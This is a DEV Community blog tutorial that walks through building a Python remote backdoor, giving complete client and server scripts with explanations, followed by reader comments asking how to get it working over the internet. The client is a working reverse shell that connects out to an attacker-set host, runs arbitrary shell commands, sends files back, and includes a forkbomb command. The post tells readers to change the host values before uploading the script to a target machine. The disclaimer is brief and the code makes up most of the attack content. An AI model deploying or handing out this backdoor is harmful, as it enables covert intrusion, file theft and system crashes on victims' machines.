DEV Community

Cover image for Simple Remote Backdoor With Python
Steve
Steve

Posted on

Simple Remote Backdoor With Python

Note: Before you start reading this tutorial: DO NOT USE THIS CODE FOR MALICIOUS PURPOSES. THIS IS TUTORIAL IS ONLY FOR EDUCATIONAL PURPOSES!

Part 1: What is a backdoor?

According to Wikipedia:

A backdoor is a method, often secret, of bypassing normal authentication or encryption in a computer system, a product, or an embedded device (e.g. a home router), or its embodiment

In simpler terms, a backdoor is a piece of software installed on a machine that gives someone remote access to a computer, usually without proper permission. For example, a hacker might use a backdoor to maintain remote access on a compromised machine. A hacker might disguise a backdoor inside a seemingly regular looking game or program. Once the user of the target machine runs the program, the backdoor hidden in the software will allow the hacker to remotely connect to the target machine, usually through a command line. Through that remote connection, the hacker can execute commands, edit and read files, and more.

Part 2: How to Build a Custom Backdoor (Client)

This backdoor is going to be made up of two short scripts. The first script we're going to build is the client script. This is the script that will be uploaded to the compromised machine.

Script

import socket
import subprocess
import os
import platform
import getpass
import colorama
from colorama import Fore, Style
from time import sleep

colorama.init()

RHOST = "127.0.0.1"
RPORT = 2222

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))

while True:
    try:
        header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
        sock.send(header.encode())
        STDOUT, STDERR = None, None
        cmd = sock.recv(1024).decode("utf-8")

        # List files in the dir
        if cmd == "list":
            sock.send(str(os.listdir(".")).encode())

        # Forkbomb
        if cmd == "forkbomb":
            while True:
                os.fork()

        # Change directory
        elif cmd.split(" ")[0] == "cd":
            os.chdir(cmd.split(" ")[1])
            sock.send("Changed directory to {}".format(os.getcwd()).encode())

        # Get system info
        elif cmd == "sysinfo":
            sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
            """
            sock.send(sysinfo.encode())

        # Download files
        elif cmd.split(" ")[0] == "download":
            with open(cmd.split(" ")[1], "rb") as f:
                file_data = f.read(1024)
                while file_data:
                    print("Sending", file_data)
                    sock.send(file_data)
                    file_data = f.read(1024)
                sleep(2)
                sock.send(b"DONE")
            print("Finished sending data")

        # Terminate the connection
        elif cmd == "exit":
            sock.send(b"exit")
            break

        # Run any other command
        else:
            comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            STDOUT, STDERR = comm.communicate()
            if not STDOUT:
                sock.send(STDERR)
            else:
                sock.send(STDOUT)

        # If the connection terminates
        if not cmd:
            print("Connection dropped")
            break
    except Exception as e:
        sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()
Enter fullscreen mode Exit fullscreen mode

Explanation

colorama.init()

RHOST = "127.0.0.1"
RPORT = 2222
Enter fullscreen mode Exit fullscreen mode

These first few lines are for initializing some starter values. colorama.init() needs to be called for colorama (color text in terminal). The RHOST and RPORT variables are for connecting to the host machine. These vars need to be changed before uploading to the target machine.

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))
Enter fullscreen mode Exit fullscreen mode

These next few lines are standard procedure for connecting to an IPV4 address through a TCP port.

while True:
    try:
        header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
        sock.send(header.encode())
        STDOUT, STDERR = None, None
        cmd = sock.recv(1024).decode("utf-8")
Enter fullscreen mode Exit fullscreen mode

The entirety of the code for receiving commands, command execution, and sending data is wrapped in a while loop, so it goes on forever. The try-except is so if any commands execute improperly, the program continues instead of breaking the connection. The header var defines the prefix before tying a command. For example: hacked@linux-machine:/usr/hacked/Desktop$ The next line sends the header to the server, so the user knows what directory they're in and what user they're logged into. STDOUT and STDERR need to be set to None so commands don't double execute if the server sends empty data. The final line receives the command from the server to execute.

Commands:

List files

if cmd == "list":
    sock.send(str(os.listdir(".")).encode())
Enter fullscreen mode Exit fullscreen mode

This command is used instead of ls because sometimes, ls is inconsistent

Forkbomb

if cmd == "forkbomb":
    while True:
        os.fork()
Enter fullscreen mode Exit fullscreen mode

A forkbomb is an attack when a process replicates itself over and over again, causing all system resources to be consumed, usually causing the system to crash. The while loop infinitely duplicates the python process infinitely, causing the computer to crash.

cd

elif cmd.split(" ")[0] == "cd":
    os.chdir(cmd.split(" ")[1])
    sock.send("Changed directory to {}".format(os.getcwd()).encode())
Enter fullscreen mode Exit fullscreen mode

This command works better than the cd that is built into bash. This is because when the directory is changed in Linux, the python working directory isn't affected. This command uses os.chdir() to change the working directory in python and in Linux. Splitting the command allows for the argument (in this case, the directory to change to) to be processed separately

sysinfo

        elif cmd == "sysinfo":
            sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
            """
            sock.send(sysinfo.encode())
Enter fullscreen mode Exit fullscreen mode

The sysinfo command uses a combination of the platform module and the getpass module to get information about the system such as: the operating system, the hostname of the machine, the current user, the current os version, and processor architecture. This text is nicely formatted and sent to the host server.

Download

elif cmd.split(" ")[0] == "download":
    with open(cmd.split(" ")[1], "rb") as f:
        file_data = f.read(1024)
        while file_data:
            print("Sending", file_data)
            sock.send(file_data)
            file_data = f.read(1024)
        sleep(2)
        sock.send(b"DONE")
    print("Finished sending data")

Enter fullscreen mode Exit fullscreen mode

The download command is a little more complicated. Once again, the command is split to extract the argument. This time, instead of sending the data from the file all at once, the file must be split into 1024 byte (1KB) because the server can only receive 1 kilobyte at a time. Once the file is done sending, the client sends "DONE" (in bytes) to the server to let the server know that the file transfer is complete.

Exit

elif cmd == "exit":
    sock.send(b"exit")
    break

Enter fullscreen mode Exit fullscreen mode

When calling exit, the text "exit" (in bytes) is sent to the server. This notifies the server to terminate the connection. Break exits the while True loop, terminating the program.

Any other command

else:
    comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    STDOUT, STDERR = comm.communicate()
    if not STDOUT:
        sock.send(STDERR)
    else:
        sock.send(STDOUT)
Enter fullscreen mode Exit fullscreen mode

If the command that was entered isn't a known internal command, it is executed through the system instead. The subprocess module is used to execute the command through the system's shell. The output is returned to two variables, STDOUT and STDERR. STDOUT is the standard system output. STDERR is the standard error output. The next if statement checks if the output went to STDOUT or STDERR. It sends the appropriate data once it has been checked.

        if not cmd:
            print("Connection dropped")
            break
    except Exception as e:
        sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()
Enter fullscreen mode Exit fullscreen mode

Finally, if no command is received, the program can assume that there was an error in the connection and will terminate the loop. Since the entire code is wrapped in a try-except, the program will send the exception to the server. Once the loop terminates, the socket will close.

Part 3: How to Build a Custom Backdoor (Server)

The second script is the server script. This script gets executed on the attacker's machine. This is the script that the clients will connect to, send a shell too, and the attacker will send commands through.

Script

import socket
import colorama

colorama.init()

LHOST = "127.0.0.1"
LPORT = 2222

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((LHOST, LPORT))
sock.listen(1)
print("Listening on port", LPORT)
client, addr = sock.accept()

while True:
    input_header = client.recv(1024)
    command = input(input_header.decode()).encode()

    if command.decode("utf-8").split(" ")[0] == "download":
        file_name = command.decode("utf-8").split(" ")[1][::-1]
        client.send(command)
        with open(file_name, "wb") as f:
            read_data = client.recv(1024)
            while read_data:
                f.write(read_data)
                read_data = client.recv(1024)
                if read_data == b"DONE":
                    break

    if command is b"":
        print("Please enter a command")
    else:
        client.send(command)
        data = client.recv(1024).decode("utf-8")
        if data == "exit":
            print("Terminating connection", addr[0])
            break
        print(data)
client.close()
sock.close()
Enter fullscreen mode Exit fullscreen mode

Explanation

colorama.init()

LHOST = "127.0.0.1"
LPORT = 2222
Enter fullscreen mode Exit fullscreen mode

These first few lines are for initialization. The LHOST is the IP which the server will be hosted on. The LPORT is the port where the server will be hosted.

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((LHOST, LPORT))
sock.listen(1)
print("Listening on port", LPORT)
client, addr = sock.accept()
Enter fullscreen mode Exit fullscreen mode

Lines 9-13 are for initializing the server. Once again, socket.AF_INET is to start a server on an IPV4 address and socket.SOCK_STREAM is to run the server on a TCP port. sock.bind((LHOST, LPORT)) starts a server on the given IP and port. sock.listen(1) tells the program to only accept one incoming connection. The client is an object that allows the program to interact with the connected client, for example, send data. The addr is a tuple that contains the IP and port of the connected client.

while True:
    input_header = client.recv(1024)
    command = input(input_header.decode()).encode()
Enter fullscreen mode Exit fullscreen mode

Just like the client, the entire code is wrapped in a while True: loop so that the commands can constantly send and executed, until the loop breaks. The input_header is the text before the input. Example: hacked@linux-machine:/usr/hacked/Desktop$. This data is received from the client and is entered as an argument to the input function. The user is asked to enter a command, it is encoded into bytes and saved into the command variable.

    if command.decode("utf-8").split(" ")[0] == "download":
        file_name = command.decode("utf-8").split(" ")[1][::-1]
        client.send(command)
        with open(file_name, "wb") as f:
            read_data = client.recv(1024)
            while read_data:
                f.write(read_data)
                read_data = client.recv(1024)
                if read_data == b"DONE":
                    break
        print("Finished reading data")

Enter fullscreen mode Exit fullscreen mode

There is only one pre-defined command built into the server; download. When download is executed, it opens a new file with the name of the file to be downloaded. Next, the function reads 1KB at a time and writes that data to the file. If the server receives the data "DONE" (in bytes), the loop for receiving data stops.

    if command is b"":
        print("Please enter a command")
Enter fullscreen mode Exit fullscreen mode

If no command is entered, the user is reminded that data must be entered.

    else:
        client.send(command)
        data = client.recv(1024).decode("utf-8")
        if data == "exit":
            print("Terminating connection", addr[0])
            break
        print(data)
Enter fullscreen mode Exit fullscreen mode

If none of the other conditions are met, the script sends the command to the client to be executed. The data variable receives the output from the command (sent by the client). If the data that is received is "exit", the server terminates the connection and breaks the loop, which exits the script. Once the loop breaks, the connection to the client and the server socket is closed.

Part 4: Conclusion

Remember, entering any computer without permission is illegal. This script was made because I am interested in how these types of technologies work. Do not use this program for any illegal reasons. This program is also a very simple backdoor and is not 100% stable or complete.

Sources:

Cover image: The Daily Dot

Backdoor definition: Wikipedia

Top comments (11)

Collapse
 
redgarhacks profile image
RedgarHACKS

I tried this out in my ide. It returns the error that the target machine constantly refused connection. I actually repurposed the code to be voice-activated but still had issues running it normally without the voice activation.

Collapse
 
ororor profile image
orOror

Thanks for the article!
Don't you think it's better to use bind shell for that? kinda like reverse shell, but you first listen on the server.

Collapse
 
tman540 profile image
Steve

It depends on the situation, a reverse shell might work better depending on the circumstances. Maybe I'll write another article on bind shells!

Collapse
 
chasif99 profile image
CHAsif99

is that work for u am facing some issue when i type the commands nothing happens

Collapse
 
chasif99 profile image
CHAsif99

any solutiion pls

Collapse
 
qwerty1s5y profile image
Qwerty1S5Y

Actually, I am new to programming so can you please tell how to use this backdoor

Collapse
 
chasif99 profile image
CHAsif99

hy when i enter the command nothing happens???

Collapse
 
quark3012 profile image
quark3012

what if we want the access for WAN or over internet backdoor??
pls help me
I thought of port forwarding but I what will be the IP of RHOST address for over WAN backdoor??
THANKS

Collapse
 
dimzy_boy profile image
Dimeji

Hey Please DId you figure out a solution, Cause I'm currently working on this and i can't get it connect over WAN

Collapse
 
woshimbo profile image
Woshimbo

Thanks for the information, here’s to good looking out.

Collapse
 
dimzy_boy profile image
Dimeji

Please can i drop my code in here i can't seem to make it connect over WAN, a replica but not as complex as this, i can only connect using the private IP which isn't of much use